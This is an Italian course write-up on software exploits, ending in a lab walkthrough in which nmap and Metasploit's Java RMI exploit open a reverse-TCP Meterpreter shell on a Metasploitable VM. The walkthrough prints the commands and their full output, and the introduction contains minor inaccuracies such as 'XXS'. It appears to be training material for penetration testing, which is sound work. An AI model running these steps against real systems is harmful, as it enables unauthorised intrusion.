



**S7-LS5**

**EXPLOIT**





# COS'È UN EXPLOIT

Un exploit rappresenta un attacco non etico o illegale che sfrutta le vulnerabilità presenti in applicazioni, reti o hardware. L'attacco è formato in genere da un software o un codice, con l'obiettivo di acquisire il controllo di un sistema informatico o di rubare i dati memorizzati su una rete.

I software e le reti sono dotati di sistemi integrati di protezione contro gli hacker, simili a delle serrature che impediscono agli ospiti sgraditi di guardare all'interno. Una vulnerabilità rappresenta pertanto una finestra aperta, utilizzabile da un hacker per entrare. Nel caso dei computer o delle reti, gli hacker possono installare software dannosi sfruttando tali vulnerabilità (o porte aperte), al fine di controllare (o infettare) il sistema per i propri scopi. In genere, ciò avviene senza che l'utente se ne renda conto.



# DA DOVE PROVENGONO

Gli exploit rappresentano errori nel processo di sviluppo di un software che lasciano delle falle nel sistema di protezione integrato nel software, utilizzabili dai hacker per accedere al software e, partendo da esso, all'intero computer. Gli exploit vengono comunemente classificati in base al tipo di vulnerabilità che sfruttano, come zero-day, DoS, spoofing e XXS. I fornitori di software rilasciano naturalmente patch di sicurezza per risolvere tutte le vulnerabilità di cui vengono a conoscenza, ma, fino ad allora, il software potrebbe essere a rischio.



# COME SI RICONOSCONO

Dato che gli exploit sfruttano le falle di sicurezza nei software, un utente non ha modo di sapere se è stato infettato fino a quando è ormai troppo tardi. Ecco perché è importante aggiornare sempre i software e, in particolare, installare le patch di sicurezza rilasciate dagli sviluppatori. Se lo sviluppatore ha rilasciato una patch per una vulnerabilità nota e l'utente non la installa, sfortunatamente non potrà ricevere le necessarie definizioni dei virus.



# CORREZIONE DEGLI EXPLOIT

Dato che gran parte degli exploit è il risultato di un errore dello sviluppatore, la rimozione degli stessi è di sua competenza. Questi sarà l'unico a dover sviluppare e distribuire una correzione. Tuttavia, è necessario che gli utenti mantengano tutti i propri software aggiornati e che installino le correzioni in modo che gli hacker non abbiano la possibilità di sfruttare le vulnerabilità. Un modo per assicurarsi di non perdere mai un aggiornamento, e di avere tutti i software aggiornati, consiste nell'utilizzare un programma di gestione delle applicazioni che semplifichi la procedura di aggiornamento dei software o che, ancora meglio, possa aggiornarli in automatico.



# **TIPI DI EXPLOIT:**

- **BUFFER OVERFLOW**
- **SQL INJECTION - XSS**
- **ZERO-DAY**
- **DENIAL OF SERVICE**
- **MAN IN THE MIDDLE**
- **PRIVILEGE ESCALATION**
- **FUZZING**
- **PHISING**
- **SOCIAL ENGINEERING**
- **ARP SPOOFING/POISONING**
- **DNS SPOOFING/POISONING**
- **SWITCH EXPLOIT**
- **FIREWALL EXPLOIT**
- **FTP - SMTP - SSL/TLS - VPN - SNMP “EXPLOIT”**
- **BYPASS WAF**
- **ECC...**





# **ESEMPIO PRATICO**



# ATTACCO AL TARGET

## (192.168.11.112)

in questo esempio attaccheremo una macchina METASPLOITABLE, che sarà infetta da una vulnerabilità di tipo JAVA RMI, quindi useremo Metasploit per eseguire un exploit e prenderemo la relativa configurazione di rete e le Route



# STEP 1:

Per prima cosa dovremmo capire le porte aperte e i relativi servizi disponibili su esse, quindi lanceremo una scansione con nMap con la flag “-sV” per farci restituire i nomi dei servizi nelle relative porte.

```
nmap -sV 192.168.11.112
```

```
File Azioni Modifica Visualizza Aiuto
(kali@kali)-[~]
$ nmap -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 10:57 CET
Nmap scan report for 192.168.11.112
Host is up (0.0018s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE      SERVICE      VERSION
21/tcp    open      ftp          vsftpd 2.3.4
22/tcp    open      ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open      telnet       Linux telnetd
25/tcp    open      smtp         Postfix smtpd
53/tcp    open      domain       ISC BIND 9.4.2
80/tcp    open      http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open      rpcbind      2 (RPC #100000)
139/tcp   open      netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open      netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open      exec         netkit-rsh rexecd
513/tcp   open      login?
514/tcp   open      shell        Netkit rshd
1099/tcp  open      java-rmi     GNU Classpath grmiregistry
1524/tcp  filtered  ingreslock
2049/tcp  open      nfs          2-4 (RPC #100003)
2121/tcp  open      ftp          ProFTPD 1.3.1
3306/tcp  open      mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open      postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open      vnc          VNC (protocol 3.3)
6000/tcp  open      X11          (access denied)
6667/tcp  open      irc          UnrealIRCd
8009/tcp  open      ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open      http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix,
Linux; CPE: cpe:/o:Metasploit:Metasploit; Device: metasploitable;
IPV6: Netmask: 255.255.255.0
Service detection performed. Please report any incorrect results at https://nmap.org,
Nmap done: 1 IP address (1 host up) scanned in 66.56 seconds

(kali@kali)-[~]
$
```

# STEP 2:

Ora dovremmo avviare la console di MetaSploit, e faremo una ricerca di un exploit che utilizza la vulnerabilità di tipo “JAVA RMI”

Avvio console

**msfconsole**

Ricerca

**search java rmi**

```
Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java rmi

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce	2019-05-22	excellent	Yes	Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1	exploit/multi/misc/java_jmx_server	2013-05-22	excellent	Yes	Java JMX Server Insecure Configuration Java Code Execution
2	auxiliary/scanner/misc/java_jmx_server	2013-05-22	normal	No	Java JMX Server Insecure Endpoint Code Execution Scanner
3	auxiliary/gather/java_rmi_registry		normal	No	Java RMI Registry Interfaces Enumeration
4	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server Insecure Default Configuration Java Code Execution
5	auxiliary/scanner/misc/java_rmi_server	2011-10-15	normal	No	Java RMI Server Insecure Endpoint Code Execution Scanner
6	exploit/multi/browser/java_rmi_connection_impl	2010-03-31	excellent	No	Java RMI ConnectionImpl Deserialization Privilege Escalation
7	exploit/multi/browser/java_signed_applet	1997-02-19	excellent	No	Java Signed Applet Social Engineering Code Execution
8	exploit/multi/http/jenkins_metaprogramming	2019-01-08	excellent	Yes	Jenkins ACL Bypass and Metaprogramming RCE
9	exploit/linux/misc/jenkins_java_deserialize	2015-11-18	excellent	Yes	Jenkins CLI RMI Java Deserialization Vulnerability
10	exploit/linux/http/kibana_timelion_prototype_pollution_rce	2019-10-30	manual	Yes	Kibana Timelion Prototype Pollution RCE
11	exploit/multi/browser/firefox_xpi_bootstrapped_addon	2007-06-27	excellent	No	Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
12	exploit/multi/http/openfire_auth_bypass_rce_cve_2023_32315	2023-05-26	excellent	Yes	Openfire authentication bypass with RCE plugin
13	exploit/multi/http/torchserver_cve_2023_43654	2023-10-03	excellent	Yes	PyTorch Model Server Registration and Deserialization RCE
14	exploit/multi/http/totaljs_cms_widget_exec	2019-08-30	excellent	Yes	Total.js CMS 12 Widget JavaScript Code Injection
15	exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc	2021-09-21	manual	Yes	VMware vCenter vScalation Privilege Escalation



# **COS'È “JAVA RMI”**

Java Remote Method Invocation (Java RMI) è un meccanismo di comunicazione che consente a un'applicazione Java di invocare metodi su oggetti remoti. Tuttavia, come qualsiasi tecnologia, può presentare vulnerabilità se non configurata o utilizzata correttamente.

Una delle vulnerabilità comuni di Java RMI è legata alla mancanza di autenticazione e alla possibilità di eseguire codice in remoto (Remote Code Execution, RCE).



# STEP 3:

Dopo aver scelto l'exploit, lo andremo a caricare, e successivamente gli andremmo a settare le impostazioni per eseguire correttamente l'attacco verso il TARGET. e infine lanceremo l'exploit

caricare l'exploit

use "nomeExploit"

Controllo parametri

show options

set dei parametri

set RHOSTS "ip target"

avviare l'exploit

exploit

```
msf6 > use 4
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT     1099             yes       The target port (TCP)
  SRVHOST   0.0.0.0           yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/uv2No7pNVit
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:59290) at 2024-01-19 10:59:17 +0100
```

# STEP 4:

Quando l'exploit avrà avuto successo, avremo creato una sessione METERPRETER sulla macchina Target, e quindi potremmo navigare e eseguire qualsiasi comando. In questo caso andremmo a prendere tutte le configurazioni di rete

comandi configurazione di rete

**ifconfig**

**route**

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe54:1420
IPv6 Netmask : ::

meterpreter > route

IPv4 network routes
=====

  Subnet          Netmask          Gateway    Metric    Interface
  -----          -
  127.0.0.1       255.0.0.0         0.0.0.0
  192.168.11.112  255.255.255.0     0.0.0.0

IPv6 network routes
=====

  Subnet          Netmask          Gateway    Metric    Interface
  -----          -
  ::1              ::               ::
  fe80::a00:27ff:fe54:1420 ::               ::

meterpreter > 
```



# COS'È METERPRETER

Meterpreter è un payload utilizzato nel framework di penetration testing e hacking etico noto come Metasploit. Metasploit è uno strumento open-source ampiamente utilizzato per testare la sicurezza dei sistemi e per scopi di penetration testing. Meterpreter è progettato per essere un payload flessibile e potente, utilizzato per ottenere il controllo su sistemi vulnerabili.